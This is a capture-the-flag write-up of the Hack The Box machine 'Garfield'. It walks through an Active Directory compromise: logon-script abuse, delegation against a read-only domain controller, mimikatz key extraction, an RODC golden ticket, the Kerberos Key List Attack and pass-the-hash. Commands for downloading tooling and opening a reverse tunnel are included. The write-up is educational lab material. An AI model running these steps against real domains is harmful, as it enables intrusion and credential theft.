Hackthebox: Garfield
Overview
Garfield is a hard-difficulty Windows machine from Hack The Box with the following scenario: enumerate writable AD objects with bloodyAD -> notice scriptPath is writable on l.wilson -> drop a password-reset .bat in SYSVOL and abuse the logon script -> l.wilson resets l.wilson_adm (ForceChangePassword) -> WinRM on DC01 + user flag -> l.wilson_adm can write the RODC Administrators group -> add ourselves and create a fake machine account -> set RBCD on RODC01 -> S4U2self/S4U2proxy to forge a cifs/RODC01 ticket as Administrator -> tunnel to the internal RODC subnet with chisel, bind port 445 unprivileged via a user namespace + socat, and bypass the +8h clock skew with libfaketime -> psexec for SYSTEM on RODC01 -> mimikatz lsadump::lsa /inject to pull the krbtgt_8245 AES256 key -> modify the RODC Password Replication Policy to allow Administrator -> forge an RODC golden ticket and run the Kerberos Key List Attack to recover the Administrator NT hash -> Pass-the-Hash -> root.

This one is a proper AD chain. The whole box is built around a Read-Only Domain Controller (RODC), so if you’ve never played with RODC golden tickets or the Key List Attack before, this is a great box to learn them on. We’re also handed credentials up front (j.arbuckle : Th1sD4mnC4t!@1978), so it’s assumed-breach style from the start.
Let me drop the two hosts into /etc/hosts before anything else, since the RODC lives on an internal subnet we’ll have to tunnel to later:
1 | 10.129.26.128 garfield.htb DC01.garfield.htb dc01.garfield.htb |
Reconnaissance
1 | $ nmap -sC -sV -Pn -p- --min-rate 5000 10.129.26.128 |
The usual domain controller fingerprint, nothing surprising here. One thing worth writing down early though: the DC’s clock is +8 hours ahead of my Kali box. That doesn’t matter yet but it will absolutely bite us when we start doing Kerberos stuff, so keep it in the back of your head.
First, let me make sure the creds we were given actually work:
1 | $ nxc smb 10.129.26.128 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' |
Good, valid. Now let me see what j.arbuckle can actually touch in the directory. bloodyAD‘s get writable is perfect for this:
1 | $ bloodyAD --host 10.129.26.128 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -d garfield.htb get writable |
Two things jump out here. First, there’s a krbtgt_8245 account — that naming (krbtgt_<number>) is the dead giveaway of a Read-Only Domain Controller. So there’s an RODC hiding somewhere in this environment. Second, j.arbuckle can write attributes on both l.wilson and l.wilson_adm. If you drill into exactly which attribute is writable, the only interesting one is scriptPath — which is a classic logon-script abuse.
Let me also peek at the shares quickly:
1 | $ nxc smb 10.129.26.128 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares |
NETLOGON and SYSVOL are readable, and crucially we can write into the SYSVOL scripts directory. That’s the other half of the logon-script trick.
Foothold - Logon Script Abuse
So here’s the plan. The scriptPath attribute tells Windows which script to run when a user logs in, and it’s resolved relative to the NETLOGON/SYSVOL scripts folder. If I can write a script to SYSVOL and point l.wilson’s scriptPath at it, then whenever l.wilson “logs in” (the box simulates logons), my script runs as l.wilson.
And why do I care about running code as l.wilson? Because l.wilson has User-Force-Change-Password over l.wilson_adm — that’s a really common pattern where a user and their admin counterpart are linked. So my script is just going to reset l.wilson_adm’s password.
The nice thing is this is a completely self-contained payload — no reverse shell, no racing a netcat listener. The script just resets a password and we’re done. I threw three different reset methods in there so whichever one the host supports fires:
1 | $ cat > /tmp/printerDetect.bat << 'EOF' |
Upload it to the SYSVOL scripts folder:
1 | $ nxc smb 10.129.26.128 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' \ |
Now point l.wilson’s scriptPath at it:
1 | $ bloodyAD --host garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb \ |
And now we wait for the simulated logon to fire. I just loop and keep trying the new creds:
1 | $ for i in $(seq 1 10); do sleep 30; nxc smb 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' 2>&1 | tail -1; done |
Reset fired on the very first cycle (~30 seconds). l.wilson_adm is now ours. Let me confirm WinRM works and grab the user flag while I’m at it:
1 | $ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' \ |
And that’s the user flag. Pwn3d! on WinRM too, so we’ve got a shell on DC01.
Enumeration as l.wilson_adm
Before diving into anything fancy, let me see what this new account is and what it can do:
1 | $ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -x 'whoami /groups' |
SeMachineAccountPrivilege is enabled, which means l.wilson_adm can add new computer accounts to the domain (up to the default 10). File that away — we’re going to need a machine account for RBCD in a minute.
Now let me look at the computers in the domain:
1 | $ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' \ |
There’s our RODC. DNS resolves RODC01.garfield.htb to 192.168.100.2, which is an internal subnet we can’t reach directly from the VPN. The only host that can reach it is DC01 itself, which is dual-homed (192.168.100.1 internally + 10.129.26.128 on our side). So anything we do against the RODC later is going to have to go through a tunnel pivoting off DC01.
The other key finding here is that l.wilson_adm has write access on the “RODC Administrators” group. This is the pivot. That group isn’t local admin on the RODC — what it grants is the delegated right to modify the RODC computer object in AD, including its msDS-AllowedToActOnBehalfOfOtherIdentity attribute. In other words, membership in that group lets us set up RBCD against RODC01.
RBCD Against RODC01
The path to the RODC is Resource-Based Constrained Delegation. The plan:
- Add l.wilson_adm to the RODC Administrators group so we can write the RODC’s delegation attribute.
- Create a fake computer account (we have
SeMachineAccountPrivilege). - Configure RBCD so our fake computer is trusted to delegate to RODC01.
- Use S4U2self/S4U2proxy to request a service ticket to RODC01 impersonating Administrator.
First, add ourselves to the group:
1 | $ bloodyAD --host garfield.htb -u l.wilson_adm -p 'Hacked123!' -d garfield.htb \ |
Create the fake machine account:
1 | $ impacket-addcomputer garfield.htb/l.wilson_adm:'Hacked123!' \ |
Now set RBCD on RODC01 pointing at FAKE$. Easiest to just do it from the WinRM session with PowerShell:
1 | $ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -X \ |
RBCD is set. FAKE$ can now impersonate any user to RODC01 via S4U.
Getting the S4U Ticket (and the clock skew problem)
Remember that +8h clock skew I mentioned during recon? This is where it bites. Kerberos preauth will flat-out refuse if our clock is too far off from the DC’s, and normally you’d just ntpdate to sync up — except I don’t have root on my Kali box in this context, so I can’t touch the system clock.
The clean trick is libfaketime: it’s a small LD_PRELOAD shared library that lets you fake the clock per-process, without root and without affecting anything else on the system. Let me grab it out of the Kali package without installing it system-wide:
1 | $ apt download libfaketime |
Now I can wrap any Kerberos tool with that preload and FAKETIME='+8h' and preauth is happy. Let me request the S4U ticket for cifs/RODC01 impersonating Administrator:
1 | $ LD_PRELOAD=/tmp/ftroot/usr/lib/x86_64-linux-gnu/faketime/libfaketime.so.1 FAKETIME='+8h' \ |
We now have a cifs/RODC01 ticket as Administrator sitting in a ccache. But RODC01 is at 192.168.100.2, which we can’t reach. Time to build that tunnel.
Tunneling to the Internal Subnet
I’ll use chisel for the pivot. First stand up a quick HTTP server on Kali to deliver tooling to DC01, and grab both the linux and windows chisel binaries:
1 | $ cd /tmp && python3 -m http.server 8088 & |
l.wilson_adm isn’t local admin on DC01, so I can’t just SMB-write chisel.exe into an admin path — but the WinRM session can write to its own profile folder, so I’ll pull it down with Invoke-WebRequest from inside the session:
1 | $ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -X \ |
Start the chisel server on Kali:
1 | $ /tmp/chisel server --reverse -p 8000 -v > /tmp/chisel_srv.log 2>&1 & |
Now here’s a gotcha I hit. If you launch the chisel client with Start-Process from the WinRM session, it dies the moment the WinRM session closes — the client is a tracked child of the WinRM process and gets torn down within a few seconds. The fix is to properly detach it by launching through cmd /c start "" /B out of a .bat, so the new process is orphaned off and survives the session closing:
1 | $ cat > /tmp/launch.bat << 'EOF' |
Notice the port mapping: R:1445:192.168.100.2:445. I’m forwarding the RODC’s SMB (445) to local port 1445, not 445, because 445 is a privileged port that an unprivileged user can’t bind on Kali. We’ll deal with that gap in a second. Verify the tunnel is up:
1 | $ lsof -i -P 2>/dev/null | grep -E ':5985|:1445' |
Tunnel’s live.
SYSTEM on RODC01
Now I want to psexec into RODC01 using that Administrator ccache. Two problems in the way.
Problem one: impacket’s psexec only accepts -port 139 or -port 445, it won’t take 1445:
1 | psexec.py: error: argument -port: invalid choice: '1445' (choose from 139, 445) |
I could patch the script, but then I’d have to patch every other impacket tool too. Cleaner to just get something listening on a real 445 locally.
Problem two: binding 445 needs CAP_NET_BIND_SERVICE, and I can’t setcap without root:
1 | $ setcap cap_net_bind_service=+ep /tmp/chisel |
The way around both is an unprivileged user namespace. unshare -U -r drops me into a namespace where I appear as UID 0, and binding “privileged” ports just works:
1 | $ unshare -U -r id |
The important detail is that I’m not passing -n, so the network namespace is still shared with the host. That means a listener I bind inside the namespace is visible to everything else. So the trick is: inside the namespace, run a socat that forwards 127.0.0.1:445 -> 127.0.0.1:1445 (our chisel tunnel), then run impacket against 127.0.0.1:445. I wrapped the whole thing in a script:
1 | $ cat > /tmp/run_psexec.sh << 'EOF' |
nt authority\system on RODC01. Three stacked tricks to get here — libfaketime for the clock, chisel for the pivot, and the user namespace + socat to bind 445 — but it lands.
Dumping the krbtgt_8245 AES256 Key
The whole reason we went after the RODC is its krbtgt_8245 account. That’s the per-RODC krbtgt key that signs the TGTs the RODC issues. If we get its key, we can forge an RODC golden ticket, and then use the Key List Attack against the real DC to pull out the Administrator hash.
Let me try secretsdump first to dump the RODC’s NTDS over VSS:
1 | $ cat > /tmp/run_secdump.sh << 'EOF' |
Notice that nearly every account comes back as 31d6... — that’s the empty-password NT hash, i.e. a placeholder. That’s expected: an RODC only stores secrets for accounts whose passwords have actually been replicated to it (its Password Replication Policy), which initially is just RODC01$ and krbtgt_8245. So 445aa4221e751da37a10241d962780e2 is the real krbtgt_8245 NT hash.
Problem is, if you try to forge the RODC golden ticket with that RC4/NT hash, the modern Server 2019 DC rejects it with KRB_AP_ERR_BAD_INTEGRITY — it validates the PAC signatures using the strongest key available, which is AES256, and an RC4-signed PAC fails. So we need the AES256 key, and secretsdump -just-dc over VSS doesn’t hand us Kerberos keys for this account. Time for mimikatz.
Upload mimikatz to the RODC through the same SMB tunnel and run lsadump::lsa /inject against krbtgt_8245 (I wrapped it in a .bat redirecting to a log, because passing nested quotes through psexec’s cmd /c is painful):
1 | mimikatz(commandline) # lsadump::lsa /inject /name:krbtgt_8245 |
There’s our AES256 key: d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240.
Modifying the RODC Password Replication Policy
One more prerequisite before the golden ticket. For the Key List Attack to actually return Administrator’s key material (instead of just a session key), Administrator has to be allowed to replicate to the RODC. That’s controlled by two attributes on the RODC object:
msDS-RevealOnDemandGroup— the allow list.msDS-NeverRevealGroup— the deny list, and deny always beats allow.
Let me look at the current policy:
1 | $ bloodyAD --host 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -d garfield.htb \ |
Administrator is a member of BUILTIN\Administrators, which sits in the NeverReveal (deny) group — so even if we allow Administrator, that explicit deny wins. We need to both add Administrator to the allow group and wipe the deny group. Since l.wilson_adm has write on the RODC object via the RODC Administrators group, we can do both:
1 | $ bloodyAD --host 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -d garfield.htb \ |
Setting msDS-NeverRevealGroup with no values clears it entirely. Administrator is now allowed to be replicated to the RODC.
RODC Golden Ticket + Key List Attack
Now the payoff. I’ll forge an RODC golden ticket as Administrator using the krbtgt_8245 AES256 key, then send it to DC01 with the Key List Attack to extract the real Administrator hash.
One heads up: use a recent Rubeus. Rubeus 2.2 builds the PAC for RODC golden tickets in a way the modern DC rejects with BAD_INTEGRITY even when the key is correct — 2.3.3 from SharpCollection signs it properly. Grab that one.
Forge the ticket:
1 | $ cat > /tmp/golden2.bat << 'EOF' |
1 | [*] Action: Build TGT |
The key part is /rodcNumber:8245 — that encodes the RODC branch ID into the ticket’s kvno field, which tells the full DC to validate the PAC signatures with krbtgt_8245‘s keys rather than the main krbtgt.
Now the Key List Attack. I feed that forged TGT back to DC01 with /keyList /service:krbtgt/garfield.htb. The DC treats it as a legitimate RODC request, replicates Administrator’s password material (which we just allowed via the PRP), and hands back the NT hash:
1 | $ cat > /tmp/keylist3.bat << 'EOF' |
1 | [*] Action: Ask TGS |
There it is — Administrator NT hash: EE238F6DEBC752010428F20875B092D5.
Worth noting why this attack works and the more obvious ones don’t: lsadump::dcsync from SYSTEM on the RODC fails with 0x2105 because RODC$ doesn’t have full replication rights, and lsadump::netsync fails with STATUS_NO_TRUST_SAM_ACCOUNT because RODC machine accounts don’t speak the regular netlogon trust protocol. The Key List Attack is a legitimate part of the Kerberos protocol that DCs implement specifically so RODCs can fetch keys for accounts in their PRP — we’re just signing the request with krbtgt_8245 ourselves.
Pass-the-Hash -> Root
With the Administrator NT hash, the rest is a formality. Confirm it works:
1 | $ nxc winrm 10.129.26.128 -u 'Administrator' -H 'EE238F6DEBC752010428F20875B092D5' |
Then psexec to DC01 with the hash, dump the root flag to a temp file and pull it back over SMB:
1 | $ nxc smb 10.129.26.128 -u 'Administrator' -H 'EE238F6DEBC752010428F20875B092D5' \ |
And that’s root.
Credentials Captured
| Principal | Secret | Source |
|---|---|---|
j.arbuckle |
Th1sD4mnC4t!@1978 |
Given |
l.wilson_adm |
Hacked123! |
Logon-script password reset via l.wilson |
FAKE$ |
FakePass123! |
Created via impacket-addcomputer |
krbtgt_8245 |
NTLM 445aa4221e751da37a10241d962780e2 |
secretsdump (RODC NTDS) |
krbtgt_8245 |
AES256 d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 |
mimikatz lsadump::lsa /inject |
Administrator |
NTLM EE238F6DEBC752010428F20875B092D5 |
Rubeus Key List Attack |
Final Thoughts
Garfield is a great box if you want to actually understand RODCs rather than just read about them. The foothold is a clean, self-contained logon-script abuse, but the real meat is everything around the RODC — RBCD to get a foothold on it, then the golden ticket + Key List Attack to walk back up to the real Administrator. The supporting tricks (libfaketime for the clock skew, chisel for the pivot, and the user-namespace + socat dance to bind 445 without root) are the kind of thing that are annoying the first time and second nature after. Fun box, thanks for reading!
References
- RODC Golden Tickets: https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/rodc-golden-tickets
- Kerberos Key List Attack: https://www.thehacker.recipes/ad/movement/credentials/dumping/kerberos-key-list
- At the Edge of Tier Zero (RODCs): https://specterops.io/blog/2023/01/25/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc/
- Resource-Based Constrained Delegation: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- Title: Hackthebox: Garfield
- Author: Foued SAIDI
- Created at : 2026-11-07 16:30:00
- Updated at : 2026-11-07 22:00:37
- Link: https://kujen5.github.io/2026/11/07/Hackthebox-Garfield/
- License: This work is licensed under CC BY-NC-SA 4.0.